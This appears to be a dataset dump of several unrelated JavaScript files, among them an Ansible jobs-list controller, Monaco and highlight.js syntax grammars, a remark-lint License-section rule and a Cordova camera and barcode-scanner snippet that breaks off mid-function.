text
stringlengths 2
1.05M
|
|---|
/*************************************************
* Copyright (c) 2015 Ansible, Inc.
*
* All Rights Reserved
*************************************************/
/**
* @ngdoc function
* @name controllers.function:Jobs
* @description This controller's for the jobs page
*/
export default ['$state', '$rootScope', '$scope', '$stateParams',
'Find', 'DeleteJob', 'RelaunchJob',
'GetBasePath', 'Dataset', 'QuerySet', 'ListDefinition', '$interpolate',
function($state, $rootScope, $scope, $stateParams,
Find, DeleteJob, RelaunchJob,
GetBasePath, Dataset, qs, ListDefinition, $interpolate) {
var list = ListDefinition;
init();
function init() {
// search init
$scope.list = list;
$scope[`${list.iterator}_dataset`] = Dataset.data;
$scope[list.name] = $scope[`${list.iterator}_dataset`].results;
$scope.showJobType = true;
}
$scope.$on(`${list.iterator}_options`, function(event, data){
$scope.options = data.data.actions.GET;
optionsRequestDataProcessing();
});
$scope.$watchCollection(`${$scope.list.name}`, function() {
optionsRequestDataProcessing();
}
);
// iterate over the list and add fields like type label, after the
// OPTIONS request returns, or the list is sorted/paginated/searched
function optionsRequestDataProcessing(){
if($scope[list.name] && $scope[list.name].length > 0) {
$scope[list.name].forEach(function(item, item_idx) {
var itm = $scope[list.name][item_idx];
switch (item.type) {
case 'job':
item.linkToDetails = `jobResult({id: ${item.id}})`;
break;
case 'ad_hoc_command':
item.linkToDetails = `adHocJobStdout({id: ${item.id}})`;
break;
case 'system_job':
item.linkToDetails = `managementJobStdout({id: ${item.id}})`;
break;
case 'project_update':
item.linkToDetails = `scmUpdateStdout({id: ${item.id}})`;
break;
case 'inventory_update':
item.linkToDetails = `inventorySyncStdout({id: ${item.id}})`;
break;
case 'workflow_job':
item.linkToDetails = `workflowResults({id: ${item.id}})`;
break;
}
if(item.summary_fields && item.summary_fields.source_workflow_job &&
item.summary_fields.source_workflow_job.id){
item.workflow_result_link = `/#/workflows/${item.summary_fields.source_workflow_job.id}`;
}
// Set the item type label
if (list.fields.type && $scope.options &&
$scope.options.hasOwnProperty('type')) {
$scope.options.type.choices.forEach(function(choice) {
if (choice[0] === item.type) {
itm.type_label = choice[1];
}
});
}
buildTooltips(itm);
});
}
}
function buildTooltips(job) {
job.status_tip = 'Job ' + job.status + ". Click for details.";
}
$scope.deleteJob = function(id) {
DeleteJob({ scope: $scope, id: id });
};
$scope.relaunchJob = function(event, id) {
let job, typeId, jobs;
try {
$(event.target).tooltip('hide');
} catch (e) {
//ignore
}
if ($scope.completed_jobs) {
jobs = $scope.completed_jobs;
}
else if ($scope.running_jobs) {
jobs = $scope.running_jobs;
}
else if ($scope.queued_jobs) {
jobs = $scope.queued_jobs;
}
else if ($scope.all_jobs) {
jobs = $scope.all_jobs;
}
else if ($scope.jobs) {
jobs = $scope.jobs;
}
job = Find({list: jobs, key: 'id', val: id });
if (job.type === 'inventory_update') {
typeId = job.inventory_source;
} else if (job.type === 'project_update') {
typeId = job.project;
} else if (job.type === 'job' || job.type === "system_job" || job.type === 'ad_hoc_command' || job.type === 'workflow_job') {
typeId = job.id;
}
RelaunchJob({ scope: $scope, id: typeId, type: job.type, name: job.name });
};
$scope.viewjobResults = function(job) {
var goTojobResults = function(state) {
$state.go(state, { id: job.id }, { reload: true });
};
switch (job.type) {
case 'job':
goTojobResults('jobResult');
break;
case 'ad_hoc_command':
goTojobResults('adHocJobStdout');
break;
case 'system_job':
goTojobResults('managementJobStdout');
break;
case 'project_update':
goTojobResults('scmUpdateStdout');
break;
case 'inventory_update':
goTojobResults('inventorySyncStdout');
break;
case 'workflow_job':
goTojobResults('workflowResults');
break;
}
};
$scope.$on('ws-jobs', function(){
let path;
if (GetBasePath(list.basePath) || GetBasePath(list.name)) {
path = GetBasePath(list.basePath) || GetBasePath(list.name);
} else {
// completed jobs base path involves $stateParams
let interpolator = $interpolate(list.basePath);
path = interpolator({ $rootScope: $rootScope, $stateParams: $stateParams });
}
qs.search(path, $state.params[`${list.iterator}_search`])
.then(function(searchResponse) {
$scope[`${list.iterator}_dataset`] = searchResponse.data;
$scope[list.name] = $scope[`${list.iterator}_dataset`].results;
});
});
$scope.$on('ws-schedules', function(){
$state.reload();
});
}];
|
/*!-----------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* monaco-languages version: 1.6.0(858705e74270e53559a241fdee187e7a6ae53b23)
* Released under the MIT license
* https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md
*-----------------------------------------------------------------------------*/
define("vs/basic-languages/fsharp/fsharp",["require","exports"],(function(e,n){Object.defineProperty(n,"__esModule",{value:!0}),n.conf={comments:{lineComment:"//",blockComment:["(*","*)"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],folding:{markers:{start:new RegExp("^\\s*//\\s*#region\\b|^\\s*\\(\\*\\s*#region(.*)\\*\\)"),end:new RegExp("^\\s*//\\s*#endregion\\b|^\\s*\\(\\*\\s*#endregion\\s*\\*\\)")}}},n.language={defaultToken:"",tokenPostfix:".fs",keywords:["abstract","and","atomic","as","assert","asr","base","begin","break","checked","component","const","constraint","constructor","continue","class","default","delegate","do","done","downcast","downto","elif","else","end","exception","eager","event","external","extern","false","finally","for","fun","function","fixed","functor","global","if","in","include","inherit","inline","interface","internal","land","lor","lsl","lsr","lxor","lazy","let","match","member","mod","module","mutable","namespace","method","mixin","new","not","null","of","open","or","object","override","private","parallel","process","protected","pure","public","rec","return","static","sealed","struct","sig","then","to","true","tailcall","trait","try","type","upcast","use","val","void","virtual","volatile","when","while","with","yield"],symbols:/[=><!~?:&|+\-*\^%;\.,\/]+/,escapes:/\\(?:[abfnrtv\\"']|x[0-9A-Fa-f]{1,4}|u[0-9A-Fa-f]{4}|U[0-9A-Fa-f]{8})/,integersuffix:/[uU]?[yslnLI]?/,floatsuffix:/[fFmM]?/,tokenizer:{root:[[/[a-zA-Z_]\w*/,{cases:{"@keywords":{token:"keyword.$0"},"@default":"identifier"}}],{include:"@whitespace"},[/\[<.*>\]/,"annotation"],[/^#(if|else|endif)/,"keyword"],[/[{}()\[\]]/,"@brackets"],[/[<>](?!@symbols)/,"@brackets"],[/@symbols/,"delimiter"],[/\d*\d+[eE]([\-+]?\d+)?(@floatsuffix)/,"number.float"],[/\d*\.\d+([eE][\-+]?\d+)?(@floatsuffix)/,"number.float"],[/0x[0-9a-fA-F]+LF/,"number.float"],[/0x[0-9a-fA-F]+(@integersuffix)/,"number.hex"],[/0b[0-1]+(@integersuffix)/,"number.bin"],[/\d+(@integersuffix)/,"number"],[/[;,.]/,"delimiter"],[/"([^"\\]|\\.)*$/,"string.invalid"],[/"""/,"string",'@string."""'],[/"/,"string",'@string."'],[/\@"/,{token:"string.quote",next:"@litstring"}],[/'[^\\']'B?/,"string"],[/(')(@escapes)(')/,["string","string.escape","string"]],[/'/,"string.invalid"]],whitespace:[[/[ \t\r\n]+/,""],[/\(\*(?!\))/,"comment","@comment"],[/\/\/.*$/,"comment"]],comment:[[/[^\*]+/,"comment"],[/\*\)/,"comment","@pop"],[/\*/,"comment"]],string:[[/[^\\"]+/,"string"],[/@escapes/,"string.escape"],[/\\./,"string.escape.invalid"],[/("""|"B?)/,{cases:{"$#==$S2":{token:"string",next:"@pop"},"@default":"string"}}]],litstring:[[/[^"]+/,"string"],[/""/,"string.escape"],[/"/,{token:"string.quote",next:"@pop"}]]}}}));
|
// ES5 syntax as it's node
// Import the rest of our application.
module.exports = require('./calculator_example.js')
// the state variables is the wrong structure so it will not run
// module.exports = require('./number_with_exponent_example_via_redux.js')
|
/*
* jquery.zoomooz-helpers.js, part of:
* http://janne.aukia.com/zoomooz
*
* LICENCE INFORMATION:
*
* Copyright (c) 2010 Janne Aukia (janne.aukia.com)
* Dual licensed under the MIT (MIT-LICENSE.txt)
* and GPL Version 2 (GPL-LICENSE.txt) licenses.
*
*/
/*jslint sub: true */
if(!$.zoomooz) {
$.zoomooz = {};
}
$.zoomooz.helpers = (function($, ns) {
"use strict";
//**********************************//
//*** Variables ***//
//**********************************//
var browser_prefixes = ["-moz-","-webkit-","-o-","-ms-"];
//**********************************//
//*** Helpers ***//
//**********************************//
ns.forEachPrefix = function(func,includeNoPrefix) {
for(var i=0;i<browser_prefixes.length;i++) {
func(browser_prefixes[i]);
}
if(includeNoPrefix) {
func("");
}
};
ns.getElementTransform = function(elem) {
var retVal;
ns.forEachPrefix(function(prefix) {
retVal = retVal || $(elem).css(prefix+"transform");
},true);
return retVal;
};
return ns;
})(jQuery, {});
|
'use strict';
const find = require('unist-util-find');
const findAllAfter = require('unist-util-find-all-after');
const rule = require('unified-lint-rule');
const toString = require('mdast-util-to-string');
const visit = require('unist-util-visit');
module.exports = rule('remark-lint:awesome/license', (ast, file) => {
const license = find(ast, node => (
node.type === 'heading' &&
(toString(node) === 'Licence' || toString(node) === 'License')
));
if (!license) {
file.message('Missing License section', ast);
return;
}
if (license.depth !== 2) {
file.message('License section must be at heading depth 2', license);
return;
}
const headingsPost = findAllAfter(ast, license, {
type: 'heading'
});
if (headingsPost.length > 0) {
file.message('License must be the last section', headingsPost[0]);
return;
}
const children = findAllAfter(ast, license, () => true);
const content = {type: 'root', children};
const value = toString(content);
if (!value) {
file.message('License must not be empty', license);
}
visit(content, 'image', node => {
if (/\.png/i.test(node.url)) {
file.message('License image must be SVG', node);
return false;
}
});
});
|
/*! highlight.js v9.3.0 | BSD3 License | git.io/hljslicense */
!function(e){var n="object"==typeof window&&window||"object"==typeof self&&self;"undefined"!=typeof exports?e(exports):n&&(n.hljs=e({}),"function"==typeof define&&define.amd&&define([],function(){return n.hljs}))}(function(e){function n(e){return e.replace(/&/gm,"&").replace(/</gm,"<").replace(/>/gm,">")}function t(e){return e.nodeName.toLowerCase()}function r(e,n){var t=e&&e.exec(n);return t&&0==t.index}function a(e){return/^(no-?highlight|plain|text)$/i.test(e)}function i(e){var n,t,r,i=e.className+" ";if(i+=e.parentNode?e.parentNode.className:"",t=/\blang(?:uage)?-([\w-]+)\b/i.exec(i))return w(t[1])?t[1]:"no-highlight";for(i=i.split(/\s+/),n=0,r=i.length;r>n;n++)if(w(i[n])||a(i[n]))return i[n]}function o(e,n){var t,r={};for(t in e)r[t]=e[t];if(n)for(t in n)r[t]=n[t];return r}function u(e){var n=[];return function r(e,a){for(var i=e.firstChild;i;i=i.nextSibling)3==i.nodeType?a+=i.nodeValue.length:1==i.nodeType&&(n.push({event:"start",offset:a,node:i}),a=r(i,a),t(i).match(/br|hr|img|input/)||n.push({event:"stop",offset:a,node:i}));return a}(e,0),n}function c(e,r,a){function i(){return e.length&&r.length?e[0].offset!=r[0].offset?e[0].offset<r[0].offset?e:r:"start"==r[0].event?e:r:e.length?e:r}function o(e){function r(e){return" "+e.nodeName+'="'+n(e.value)+'"'}f+="<"+t(e)+Array.prototype.map.call(e.attributes,r).join("")+">"}function u(e){f+="</"+t(e)+">"}function c(e){("start"==e.event?o:u)(e.node)}for(var s=0,f="",l=[];e.length||r.length;){var g=i();if(f+=n(a.substr(s,g[0].offset-s)),s=g[0].offset,g==e){l.reverse().forEach(u);do c(g.splice(0,1)[0]),g=i();while(g==e&&g.length&&g[0].offset==s);l.reverse().forEach(o)}else"start"==g[0].event?l.push(g[0].node):l.pop(),c(g.splice(0,1)[0])}return f+n(a.substr(s))}function s(e){function n(e){return e&&e.source||e}function t(t,r){return new RegExp(n(t),"m"+(e.cI?"i":"")+(r?"g":""))}function r(a,i){if(!a.compiled){if(a.compiled=!0,a.k=a.k||a.bK,a.k){var u={},c=function(n,t){e.cI&&(t=t.toLowerCase()),t.split(" ").forEach(function(e){var t=e.split("|");u[t[0]]=[n,t[1]?Number(t[1]):1]})};"string"==typeof a.k?c("keyword",a.k):Object.keys(a.k).forEach(function(e){c(e,a.k[e])}),a.k=u}a.lR=t(a.l||/\w+/,!0),i&&(a.bK&&(a.b="\\b("+a.bK.split(" ").join("|")+")\\b"),a.b||(a.b=/\B|\b/),a.bR=t(a.b),a.e||a.eW||(a.e=/\B|\b/),a.e&&(a.eR=t(a.e)),a.tE=n(a.e)||"",a.eW&&i.tE&&(a.tE+=(a.e?"|":"")+i.tE)),a.i&&(a.iR=t(a.i)),void 0===a.r&&(a.r=1),a.c||(a.c=[]);var s=[];a.c.forEach(function(e){e.v?e.v.forEach(function(n){s.push(o(e,n))}):s.push("self"==e?a:e)}),a.c=s,a.c.forEach(function(e){r(e,a)}),a.starts&&r(a.starts,i);var f=a.c.map(function(e){return e.bK?"\\.?("+e.b+")\\.?":e.b}).concat([a.tE,a.i]).map(n).filter(Boolean);a.t=f.length?t(f.join("|"),!0):{exec:function(){return null}}}}r(e)}function f(e,t,a,i){function o(e,n){for(var t=0;t<n.c.length;t++)if(r(n.c[t].bR,e))return n.c[t]}function u(e,n){if(r(e.eR,n)){for(;e.endsParent&&e.parent;)e=e.parent;return e}return e.eW?u(e.parent,n):void 0}function c(e,n){return!a&&r(n.iR,e)}function g(e,n){var t=N.cI?n[0].toLowerCase():n[0];return e.k.hasOwnProperty(t)&&e.k[t]}function p(e,n,t,r){var a=r?"":E.classPrefix,i='<span class="'+a,o=t?"":"</span>";return i+=e+'">',i+n+o}function h(){if(!k.k)return n(M);var e="",t=0;k.lR.lastIndex=0;for(var r=k.lR.exec(M);r;){e+=n(M.substr(t,r.index-t));var a=g(k,r);a?(B+=a[1],e+=p(a[0],n(r[0]))):e+=n(r[0]),t=k.lR.lastIndex,r=k.lR.exec(M)}return e+n(M.substr(t))}function d(){var e="string"==typeof k.sL;if(e&&!R[k.sL])return n(M);var t=e?f(k.sL,M,!0,y[k.sL]):l(M,k.sL.length?k.sL:void 0);return k.r>0&&(B+=t.r),e&&(y[k.sL]=t.top),p(t.language,t.value,!1,!0)}function b(){L+=void 0!==k.sL?d():h(),M=""}function v(e,n){L+=e.cN?p(e.cN,"",!0):"",k=Object.create(e,{parent:{value:k}})}function m(e,n){if(M+=e,void 0===n)return b(),0;var t=o(n,k);if(t)return t.skip?M+=n:(t.eB&&(M+=n),b(),t.rB||t.eB||(M=n)),v(t,n),t.rB?0:n.length;var r=u(k,n);if(r){var a=k;a.skip?M+=n:(a.rE||a.eE||(M+=n),b(),a.eE&&(M=n));do k.cN&&(L+="</span>"),k.skip||(B+=k.r),k=k.parent;while(k!=r.parent);return r.starts&&v(r.starts,""),a.rE?0:n.length}if(c(n,k))throw new Error('Illegal lexeme "'+n+'" for mode "'+(k.cN||"<unnamed>")+'"');return M+=n,n.length||1}var N=w(e);if(!N)throw new Error('Unknown language: "'+e+'"');s(N);var x,k=i||N,y={},L="";for(x=k;x!=N;x=x.parent)x.cN&&(L=p(x.cN,"",!0)+L);var M="",B=0;try{for(var C,j,I=0;;){if(k.t.lastIndex=I,C=k.t.exec(t),!C)break;j=m(t.substr(I,C.index-I),C[0]),I=C.index+j}for(m(t.substr(I)),x=k;x.parent;x=x.parent)x.cN&&(L+="</span>");return{r:B,value:L,language:e,top:k}}catch(O){if(-1!=O.message.indexOf("Illegal"))return{r:0,value:n(t)};throw O}}function l(e,t){t=t||E.languages||Object.keys(R);var r={r:0,value:n(e)},a=r;return t.filter(w).forEach(function(n){var t=f(n,e,!1);t.language=n,t.r>a.r&&(a=t),t.r>r.r&&(a=r,r=t)}),a.language&&(r.second_best=a),r}function g(e){return E.tabReplace&&(e=e.replace(/^((<[^>]+>|\t)+)/gm,function(e,n){return n.replace(/\t/g,E.tabReplace)})),E.useBR&&(e=e.replace(/\n/g,"<br>")),e}function p(e,n,t){var r=n?x[n]:t,a=[e.trim()];return e.match(/\bhljs\b/)||a.push("hljs"),-1===e.indexOf(r)&&a.push(r),a.join(" ").trim()}function h(e){var n=i(e);if(!a(n)){var t;E.useBR?(t=document.createElementNS("http://www.w3.org/1999/xhtml","div"),t.innerHTML=e.innerHTML.replace(/\n/g,"").replace(/<br[ \/]*>/g,"\n")):t=e;var r=t.textContent,o=n?f(n,r,!0):l(r),s=u(t);if(s.length){var h=document.createElementNS("http://www.w3.org/1999/xhtml","div");h.innerHTML=o.value,o.value=c(s,u(h),r)}o.value=g(o.value),e.innerHTML=o.value,e.className=p(e.className,n,o.language),e.result={language:o.language,re:o.r},o.second_best&&(e.second_best={language:o.second_best.language,re:o.second_best.r})}}function d(e){E=o(E,e)}function b(){if(!b.called){b.called=!0;var e=document.querySelectorAll("pre code");Array.prototype.forEach.call(e,h)}}function v(){addEventListener("DOMContentLoaded",b,!1),addEventListener("load",b,!1)}function m(n,t){var r=R[n]=t(e);r.aliases&&r.aliases.forEach(function(e){x[e]=n})}function N(){return Object.keys(R)}function w(e){return e=(e||"").toLowerCase(),R[e]||R[x[e]]}var E={classPrefix:"hljs-",tabReplace:null,useBR:!1,languages:void 0},R={},x={};return e.highlight=f,e.highlightAuto=l,e.fixMarkup=g,e.highlightBlock=h,e.configure=d,e.initHighlighting=b,e.initHighlightingOnLoad=v,e.registerLanguage=m,e.listLanguages=N,e.getLanguage=w,e.inherit=o,e.IR="[a-zA-Z]\\w*",e.UIR="[a-zA-Z_]\\w*",e.NR="\\b\\d+(\\.\\d+)?",e.CNR="(-?)(\\b0[xX][a-fA-F0-9]+|(\\b\\d+(\\.\\d*)?|\\.\\d+)([eE][-+]?\\d+)?)",e.BNR="\\b(0b[01]+)",e.RSR="!|!=|!==|%|%=|&|&&|&=|\\*|\\*=|\\+|\\+=|,|-|-=|/=|/|:|;|<<|<<=|<=|<|===|==|=|>>>=|>>=|>=|>>>|>>|>|\\?|\\[|\\{|\\(|\\^|\\^=|\\||\\|=|\\|\\||~",e.BE={b:"\\\\[\\s\\S]",r:0},e.ASM={cN:"string",b:"'",e:"'",i:"\\n",c:[e.BE]},e.QSM={cN:"string",b:'"',e:'"',i:"\\n",c:[e.BE]},e.PWM={b:/\b(a|an|the|are|I'm|isn't|don't|doesn't|won't|but|just|should|pretty|simply|enough|gonna|going|wtf|so|such|will|you|your|like)\b/},e.C=function(n,t,r){var a=e.inherit({cN:"comment",b:n,e:t,c:[]},r||{});return a.c.push(e.PWM),a.c.push({cN:"doctag",b:"(?:TODO|FIXME|NOTE|BUG|XXX):",r:0}),a},e.CLCM=e.C("//","$"),e.CBCM=e.C("/\\*","\\*/"),e.HCM=e.C("#","$"),e.NM={cN:"number",b:e.NR,r:0},e.CNM={cN:"number",b:e.CNR,r:0},e.BNM={cN:"number",b:e.BNR,r:0},e.CSSNM={cN:"number",b:e.NR+"(%|em|ex|ch|rem|vw|vh|vmin|vmax|cm|mm|in|pt|pc|px|deg|grad|rad|turn|s|ms|Hz|kHz|dpi|dpcm|dppx)?",r:0},e.RM={cN:"regexp",b:/\//,e:/\/[gimuy]*/,i:/\n/,c:[e.BE,{b:/\[/,e:/\]/,r:0,c:[e.BE]}]},e.TM={cN:"title",b:e.IR,r:0},e.UTM={cN:"title",b:e.UIR,r:0},e.METHOD_GUARD={b:"\\.\\s*"+e.UIR,r:0},e});hljs.registerLanguage("objectivec",function(e){var t={cN:"built_in",b:"(AV|CA|CF|CG|CI|MK|MP|NS|UI|XC)\\w+"},i={keyword:"int float while char export sizeof typedef const struct for union unsigned long volatile static bool mutable if do return goto void enum else break extern asm case short default double register explicit signed typename this switch continue wchar_t inline readonly assign readwrite self @synchronized id typeof nonatomic super unichar IBOutlet IBAction strong weak copy in out inout bycopy byref oneway __strong __weak __block __autoreleasing @private @protected @public @try @property @end @throw @catch @finally @autoreleasepool @synthesize @dynamic @selector @optional @required",literal:"false true FALSE TRUE nil YES NO NULL",built_in:"BOOL dispatch_once_t dispatch_queue_t dispatch_sync dispatch_async dispatch_once"},n=/[a-zA-Z@][a-zA-Z0-9_]*/,o="@interface @class @protocol @implementation";return{aliases:["mm","objc","obj-c"],k:i,l:n,i:"</",c:[t,e.CLCM,e.CBCM,e.CNM,e.QSM,{cN:"string",v:[{b:'@"',e:'"',i:"\\n",c:[e.BE]},{b:"'",e:"[^\\\\]'",i:"[^\\\\][^']"}]},{cN:"meta",b:"#",e:"$",c:[{cN:"meta-string",v:[{b:'"',e:'"'},{b:"<",e:">"}]}]},{cN:"class",b:"("+o.split(" ").join("|")+")\\b",e:"({|$)",eE:!0,k:o,l:n,c:[e.UTM]},{b:"\\."+e.UIR,r:0}]}});hljs.registerLanguage("ruby",function(e){var r="[a-zA-Z_]\\w*[!?=]?|[-+~]\\@|<<|>>|=~|===?|<=>|[<>]=?|\\*\\*|[-/+%^&*~`|]|\\[\\]=?",b={keyword:"and then defined module in return redo if BEGIN retry end for self when next until do begin unless END rescue else break undef not super class case require yield alias while ensure elsif or include attr_reader attr_writer attr_accessor",literal:"true false nil"},c={cN:"doctag",b:"@[A-Za-z]+"},a={b:"#<",e:">"},s=[e.C("#","$",{c:[c]}),e.C("^\\=begin","^\\=end",{c:[c],r:10}),e.C("^__END__","\\n$")],n={cN:"subst",b:"#\\{",e:"}",k:b},t={cN:"string",c:[e.BE,n],v:[{b:/'/,e:/'/},{b:/"/,e:/"/},{b:/`/,e:/`/},{b:"%[qQwWx]?\\(",e:"\\)"},{b:"%[qQwWx]?\\[",e:"\\]"},{b:"%[qQwWx]?{",e:"}"},{b:"%[qQwWx]?<",e:">"},{b:"%[qQwWx]?/",e:"/"},{b:"%[qQwWx]?%",e:"%"},{b:"%[qQwWx]?-",e:"-"},{b:"%[qQwWx]?\\|",e:"\\|"},{b:/\B\?(\\\d{1,3}|\\x[A-Fa-f0-9]{1,2}|\\u[A-Fa-f0-9]{4}|\\?\S)\b/}]},i={cN:"params",b:"\\(",e:"\\)",endsParent:!0,k:b},d=[t,a,{cN:"class",bK:"class module",e:"$|;",i:/=/,c:[e.inherit(e.TM,{b:"[A-Za-z_]\\w*(::\\w+)*(\\?|\\!)?"}),{b:"<\\s*",c:[{b:"("+e.IR+"::)?"+e.IR}]}].concat(s)},{cN:"function",bK:"def",e:"$|;",c:[e.inherit(e.TM,{b:r}),i].concat(s)},{b:e.IR+"::"},{cN:"symbol",b:e.UIR+"(\\!|\\?)?:",r:0},{cN:"symbol",b:":(?!\\s)",c:[t,{b:r}],r:0},{cN:"number",b:"(\\b0[0-7_]+)|(\\b0x[0-9a-fA-F_]+)|(\\b[1-9][0-9_]*(\\.[0-9_]+)?)|[0_]\\b",r:0},{b:"(\\$\\W)|((\\$|\\@\\@?)(\\w+))"},{cN:"params",b:/\|/,e:/\|/,k:b},{b:"("+e.RSR+")\\s*",c:[a,{cN:"regexp",c:[e.BE,n],i:/\n/,v:[{b:"/",e:"/[a-z]*"},{b:"%r{",e:"}[a-z]*"},{b:"%r\\(",e:"\\)[a-z]*"},{b:"%r!",e:"![a-z]*"},{b:"%r\\[",e:"\\][a-z]*"}]}].concat(s),r:0}].concat(s);n.c=d,i.c=d;var l="[>?]>",o="[\\w#]+\\(\\w+\\):\\d+:\\d+>",u="(\\w+-)?\\d+\\.\\d+\\.\\d(p\\d+)?[^>]+>",w=[{b:/^\s*=>/,starts:{e:"$",c:d}},{cN:"meta",b:"^("+l+"|"+o+"|"+u+")",starts:{e:"$",c:d}}];return{aliases:["rb","gemspec","podspec","thor","irb"],k:b,i:/\/\*/,c:s.concat(w).concat(d)}});hljs.registerLanguage("cpp",function(t){var e={cN:"keyword",b:"\\b[a-z\\d_]*_t\\b"},r={cN:"string",v:[t.inherit(t.QSM,{b:'((u8?|U)|L)?"'}),{b:'(u8?|U)?R"',e:'"',c:[t.BE]},{b:"'\\\\?.",e:"'",i:"."}]},i={cN:"number",v:[{b:"\\b(\\d+(\\.\\d*)?|\\.\\d+)(u|U|l|L|ul|UL|f|F)"},{b:t.CNR}],r:0},s={cN:"meta",b:"#",e:"$",k:{"meta-keyword":"if else elif endif define undef warning error line pragma ifdef ifndef"},c:[{b:/\\\n/,r:0},{bK:"include",e:"$",k:{"meta-keyword":"include"},c:[t.inherit(r,{cN:"meta-string"}),{cN:"meta-string",b:"<",e:">",i:"\\n"}]},r,t.CLCM,t.CBCM]},a=t.IR+"\\s*\\(",c={keyword:"int float while private char catch export virtual operator sizeof dynamic_cast|10 typedef const_cast|10 const struct for static_cast|10 union namespace unsigned long volatile static protected bool template mutable if public friend do goto auto void enum else break extern using class asm case typeid short reinterpret_cast|10 default double register explicit signed typename try this switch continue inline delete alignof constexpr decltype noexcept static_assert thread_local restrict _Bool complex _Complex _Imaginary atomic_bool atomic_char atomic_schar atomic_uchar atomic_short atomic_ushort atomic_int atomic_uint atomic_long atomic_ulong atomic_llong atomic_ullong",built_in:"std string cin cout cerr clog stdin stdout stderr stringstream istringstream ostringstream auto_ptr deque list queue stack vector map set bitset multiset multimap unordered_set unordered_map unordered_multiset unordered_multimap array shared_ptr abort abs acos asin atan2 atan calloc ceil cosh cos exit exp fabs floor fmod fprintf fputs free frexp fscanf isalnum isalpha iscntrl isdigit isgraph islower isprint ispunct isspace isupper isxdigit tolower toupper labs ldexp log10 log malloc realloc memchr memcmp memcpy memset modf pow printf putchar puts scanf sinh sin snprintf sprintf sqrt sscanf strcat strchr strcmp strcpy strcspn strlen strncat strncmp strncpy strpbrk strrchr strspn strstr tanh tan vfprintf vprintf vsprintf endl initializer_list unique_ptr",literal:"true false nullptr NULL"},n=[e,t.CLCM,t.CBCM,i,r];return{aliases:["c","cc","h","c++","h++","hpp"],k:c,i:"</",c:n.concat([s,{b:"\\b(deque|list|queue|stack|vector|map|set|bitset|multiset|multimap|unordered_map|unordered_set|unordered_multiset|unordered_multimap|array)\\s*<",e:">",k:c,c:["self",e]},{b:t.IR+"::",k:c},{v:[{b:/=/,e:/;/},{b:/\(/,e:/\)/},{bK:"new throw return else",e:/;/}],k:c,c:n.concat([{b:/\(/,e:/\)/,c:n.concat(["self"]),r:0}]),r:0},{cN:"function",b:"("+t.IR+"[\\*&\\s]+)+"+a,rB:!0,e:/[{;=]/,eE:!0,k:c,i:/[^\w\s\*&]/,c:[{b:a,rB:!0,c:[t.TM],r:0},{cN:"params",b:/\(/,e:/\)/,k:c,r:0,c:[t.CLCM,t.CBCM,r,i]},t.CLCM,t.CBCM,s]}])}});hljs.registerLanguage("swift",function(e){var i={keyword:"__COLUMN__ __FILE__ __FUNCTION__ __LINE__ as as! as? associativity break case catch class continue convenience default defer deinit didSet do dynamic dynamicType else enum extension fallthrough false final for func get guard if import in indirect infix init inout internal is lazy left let mutating nil none nonmutating operator optional override postfix precedence prefix private protocol Protocol public repeat required rethrows return right self Self set static struct subscript super switch throw throws true try try! try? Type typealias unowned var weak where while willSet",literal:"true false nil",built_in:"abs advance alignof alignofValue anyGenerator assert assertionFailure bridgeFromObjectiveC bridgeFromObjectiveCUnconditional bridgeToObjectiveC bridgeToObjectiveCUnconditional c contains count countElements countLeadingZeros debugPrint debugPrintln distance dropFirst dropLast dump encodeBitsAsWords enumerate equal fatalError filter find getBridgedObjectiveCType getVaList indices insertionSort isBridgedToObjectiveC isBridgedVerbatimToObjectiveC isUniquelyReferenced isUniquelyReferencedNonObjC join lazy lexicographicalCompare map max maxElement min minElement numericCast overlaps partition posix precondition preconditionFailure print println quickSort readLine reduce reflect reinterpretCast reverse roundUpToAlignment sizeof sizeofValue sort split startsWith stride strideof strideofValue swap toString transcode underestimateCount unsafeAddressOf unsafeBitCast unsafeDowncast unsafeUnwrap unsafeReflect withExtendedLifetime withObjectAtPlusZero withUnsafePointer withUnsafePointerToObject withUnsafeMutablePointer withUnsafeMutablePointers withUnsafePointer withUnsafePointers withVaList zip"},t={cN:"type",b:"\\b[A-Z][\\w']*",r:0},n=e.C("/\\*","\\*/",{c:["self"]}),r={cN:"subst",b:/\\\(/,e:"\\)",k:i,c:[]},a={cN:"number",b:"\\b([\\d_]+(\\.[\\deE_]+)?|0x[a-fA-F0-9_]+(\\.[a-fA-F0-9p_]+)?|0b[01_]+|0o[0-7_]+)\\b",r:0},o=e.inherit(e.QSM,{c:[r,e.BE]});return r.c=[a],{k:i,c:[o,e.CLCM,n,t,a,{cN:"function",bK:"func",e:"{",eE:!0,c:[e.inherit(e.TM,{b:/[A-Za-z$_][0-9A-Za-z$_]*/,i:/\(/}),{b:/</,e:/>/,i:/>/},{cN:"params",b:/\(/,e:/\)/,endsParent:!0,k:i,c:["self",a,o,e.CBCM,{b:":"}],i:/["']/}],i:/\[|%/},{cN:"class",bK:"struct protocol class extension enum",k:i,e:"\\{",eE:!0,c:[e.inherit(e.TM,{b:/[A-Za-z$_][0-9A-Za-z$_]*/})]},{cN:"meta",b:"(@warn_unused_result|@exported|@lazy|@noescape|@NSCopying|@NSManaged|@objc|@convention|@required|@noreturn|@IBAction|@IBDesignable|@IBInspectable|@IBOutlet|@infix|@prefix|@postfix|@autoclosure|@testable|@available|@nonobjc|@NSApplicationMain|@UIApplicationMain)"},{bK:"import",e:/$/,c:[e.CLCM,n]}]}});
|
// Camera
$(document).on("click","#cam",function(){
navigator.camera.getPicture(onSuccess, onFail,{
quality: 50,
destinationType: Camera.DestinationType.DATA_URL,
saveToPhotoAlbum: true
});
function onSuccess(ImageData){
var image = document.getElementById('#img');
image.src = "data:image/jpeg:Base64," + ImageData;
}
function onFail(message){
alert('Failed because:' + message);
}
});
// Scanner
$(document).on("click","#scan",function(){
scanBarcode();
})
function scanBarcode() {
window.plugins.barcodeScanner.scan( function(result){
alert("We got a barcode\n" +
"Result: " + result.text + "\n" +
"Format: " + result.format+ "\n" +
"Cancelled: " + result.cancelled);
}, function(error) {
alert("Scanning failed: " + error);
}
);
}
//Mapa
window.onload = function(){
//configurando plugin de notificações
document.addEventListener("deviceready", onDeviceReady, false);
function onDeviceReady() {
console.log(navigator.notification);
}
//configurando plugin de geolocalização
document.addEventListener("deviceready", onDeviceReady, false);
